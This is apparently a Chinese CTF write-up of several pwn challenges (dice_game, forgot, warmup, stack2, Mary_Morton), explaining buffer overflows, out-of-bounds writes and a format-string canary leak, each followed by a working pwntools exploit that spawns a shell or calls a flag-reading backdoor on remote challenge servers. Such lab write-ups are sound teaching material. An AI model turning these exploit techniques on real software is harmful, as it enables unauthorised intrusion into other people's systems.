攻防世界-Pwn进阶区(1)

0x01 dice_game

  • 题目来源:XCTF 4th-QCTF-2018
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 题目逻辑较为简单,题目提供了libc.so.6。

  • 所以可以直接覆盖掉seed,然后利用ctypes库模拟生成随机数即可。

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from ctypes import *

#c = process('./dice_game')
c = remote('111.198.29.45',58797)

libc = cdll.LoadLibrary('libc.so.6')

c.recvuntil('name: ')

payload = 'a'*0x40
payload += p64(1)

c.sendline(payload)

libc.srand(1)

print c.recvline()

for i in range(50):
c.recvuntil('Give me the point(1~6): ')
c.sendline(str(libc.rand()%6+1))

c.interactive()

0x02 forgot

  • 题目来源: backdoorctf-2015
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 先看一下主函数,注意这一块。

  • v2是个32大小的数组,且用是scanf("%s",v2)来进行输入,没有控制输入长度。之后的v3、v4…..v12都为函数指针。这道题就考察通过将目标(get shell)地址覆盖到这几个函数指针中的任意一个来实现调用。

  • 题目是一个和检查email格式有关的程序。首先会问你name,这个随便填即可,因为用了fgets且大小合理,不会造成溢出。

  • 然后程序会通过sub_80485DD函数欢迎你,告诉你要输入个email。

  • v3到v12都是会puts一段话语,其中v9、v10、v11的内容一样, 因此我们可以选择故意触发v3~v8或者v12其中任意一个函数。(不选v9、v10、v11是因为它们puts的内容一样,不太容易知道到底调用了哪一个,当然也可以选用这些,调试一下也能知道调用的是哪一个。)

  • 我们运行一下程序,发现触发了v4所对应的sub_8048618函数。

  • 又发现了cat flag函数,地址为0x80486cc。

  • 因此覆盖思路为, 先覆盖掉32大小的v2数组,然后用4字节覆盖掉v3指针,然后用目标函数地址覆盖掉v4指针,这样来故意触发cat flag

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

c = remote('111.198.29.45',40030)

c.sendline('.')

payload = '.'*(32+4) + p32(0x80486cc)

c.sendline(payload)

c.interactive()

0x03 warmup

  • 攻防世界上面没给题目附件…
  • 根据题目来源: csaw-ctf-2016-quals,搜了一下这道题,不难,直接上exp吧:
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = remote('192.168.229.128', 10001)

r.recvuntil('WOW:')

address = r.recvuntil('\n')[:-1]

payload = 'A' * 72 + p64(int(address, 16))

r.writeline(payload)

r.interactive()

0x04 stack2

  • 题目来源: XCTF 4th-QCTF-2018
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 程序是一个简易计算器。


  • 漏洞点在3. change number

  • 没有对边界进行检测,可以产生越界操作。

首次尝试

  • 思路是通过越界操作将ret_addr改成目标(get shell)地址。
  • 发现程序存在后面函数hackhere,地址为0x0804859B

  • 首先我们需要知道v13这个数组距离ret_addr的偏移。

  • v13是EBP-0x70,但是EIP却不是EBP+4,至于为什么, 有博主说这是因为开了Canary保护,需要动态调试计算这个偏移,下面来动态调试计算这个偏移。

偏移计算

  • 用gdb来调试这个程序,我们将断点下在0x080488EE的位置,即main函数的leave的位置。
  • 因为此时栈帧还没还原,这时候我们能读取到ebp(ebp在一个栈帧中是不变的,直到销毁栈帧。所以我们此刻的ebp就是main函数最开始的ebp。),并且再单步几次就能到达retn指令,retn相当于pop eip,此刻栈顶存着的便是ret_addr的位置。
  • 运行以后随便个数,然后输入5来执行程序的exit,就可以来到断点位置。

  • 这时候看到EBP为0xffffcee8,这个值以及下面会出现的ret_addr的值不同环境可能不一样,但是偏移是一样的。

  • 继续单步, 来到ret的位置,我们看到ESP为0xffffcefc,这便是ret_addr的位置。

  • 由于v13 = EBP - 0x70,ret_addr - EBP = 0x14,所以偏移offset = ret_addr - v13 = 0x84

编写EXP

  • 函数式编程确实挺香,至少对于这次exp里面的write函数是这样,start函数和exit倒无所谓。

  • test.py如下,注意是test,因为这个exp并不正确。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

#c = process('./stack2')

c = remote('111.198.29.45',55145)

offset = 0x84

hackhere_addr = 0x0804859B

def start():
c.recvuntil('How many numbers you have:\n')
c.sendline('1')
c.recvuntil('Give me your numbers\n')
c.sendline('1')


def write(addr,value):
c.recvuntil('5. exit\n')
c.sendline('3')
c.recvuntil('which number to change:\n')
c.sendline(str(addr))
c.recvuntil('new number:\n')
c.sendline(str(value))

def exit():
c.recvuntil('5. exit\n')
c.sendline('5')
c.interactive()



start()
write(offset,0x9B)
write(offset+1,0x85)
write(offset+2,0x04)
write(offset+3,0x08)
exit()
  • 至于为什么不正确,原因如下。

第二次尝试

  • 第一种思路由于环境问题未打通, 这次换种思路,直接调用system函数,给它传入参数sh

  • 我们在程序中找到了sh

  • 可以得到sh的地址为0x08048987

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

c = process('./stack2')
gdb.attach(c,'b * 0x080488F2')
#c = remote('111.198.29.45',55145)

offset = 0x84

system_addr = 0x08048450

def start():
c.recvuntil('How many numbers you have:\n')
c.sendline('1')
c.recvuntil('Give me your numbers\n')
c.sendline('1')


def write(addr,value):
c.recvuntil('5. exit\n')
c.sendline('3')
c.recvuntil('which number to change:\n')
c.sendline(str(addr))
c.recvuntil('new number:\n')
c.sendline(str(value))

def exit():
c.recvuntil('5. exit\n')
c.sendline('5')
c.interactive()



start()

write(offset,0x50)
write(offset+1,0x84)
write(offset+2,0x04)
write(offset+3,0x08)

offset += 8 #!!!!Look here~

write(offset,0x87)
write(offset+1,0x89)
write(offset+2,0x04)
write(offset+3,0x08)

exit()
  • 注意offset+8,通过调试也能发现是需要+8,如果不调试而从理论上解释的话,就涉及到参数传递的知识了。这里直接引用某博主的一句解释:

调用system后esp指向offset+4的地方,此时esp指向的应该是返回地址,esp+4即offset+8的地方才是system的参数。

0x05 pwn100

传送门

0x06 Mary_Morton

  • 题目来源: ASIS-CTF-Finals-2017
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
fmt();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
stackoverflow();
else
puts("Wrong!");
}
}


unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}


unsigned __int64 sub_400960()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000004008DA
.text:00000000004008DA
.text:00000000004008DA ; Attributes: bp-based frame
.text:00000000004008DA
.text:00000000004008DA backdoor proc near
.text:00000000004008DA ; __unwind {
.text:00000000004008DA push rbp
.text:00000000004008DB mov rbp, rsp
.text:00000000004008DE mov edi, offset command ; "/bin/cat ./flag"
.text:00000000004008E3 call _system
.text:00000000004008E8 nop
.text:00000000004008E9 pop rbp
.text:00000000004008EA retn
.text:00000000004008EA ; } // starts at 4008DA
.text:00000000004008EA backdoor endp
.text:0000000000
  • 一道简单的pwn题, 考察通过格式化字符串漏洞泄露canary,然后再进行栈溢出ret。

  • 首先通过手动测出来偏移为6。

  • 由于我们的canary距离buf有0x90 - 0x8 = 0x88个字节,而程序是64位的,所以每八个字节一组, 0x88字节即为17组。 所以我们canary距离我们输入的偏移为6 + 17 = 23

  • 所以就可以直接通过格式化字符串泄露canary了,然后就是基础的rop了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

#context.log_level = 'debug'

c = remote('111.198.29.45',44367)

target = 0x4008DA

c.recvuntil('3. Exit the battle')

c.sendline('2')

sleep(0.1)

c.sendline('%23$p')

c.recvuntil('0x')

canary = c.recv(16)

log.success('canary = ' + canary)

canary = int(canary,16)

c.recvuntil('3. Exit the battle')

c.sendline('1')

payload = 'a'*(0x90-0x8) + p64(canary) + 'a'*8 + p64(target)

sleep(0.1)

c.sendline(payload)

c.interactive()

0x007 未完待续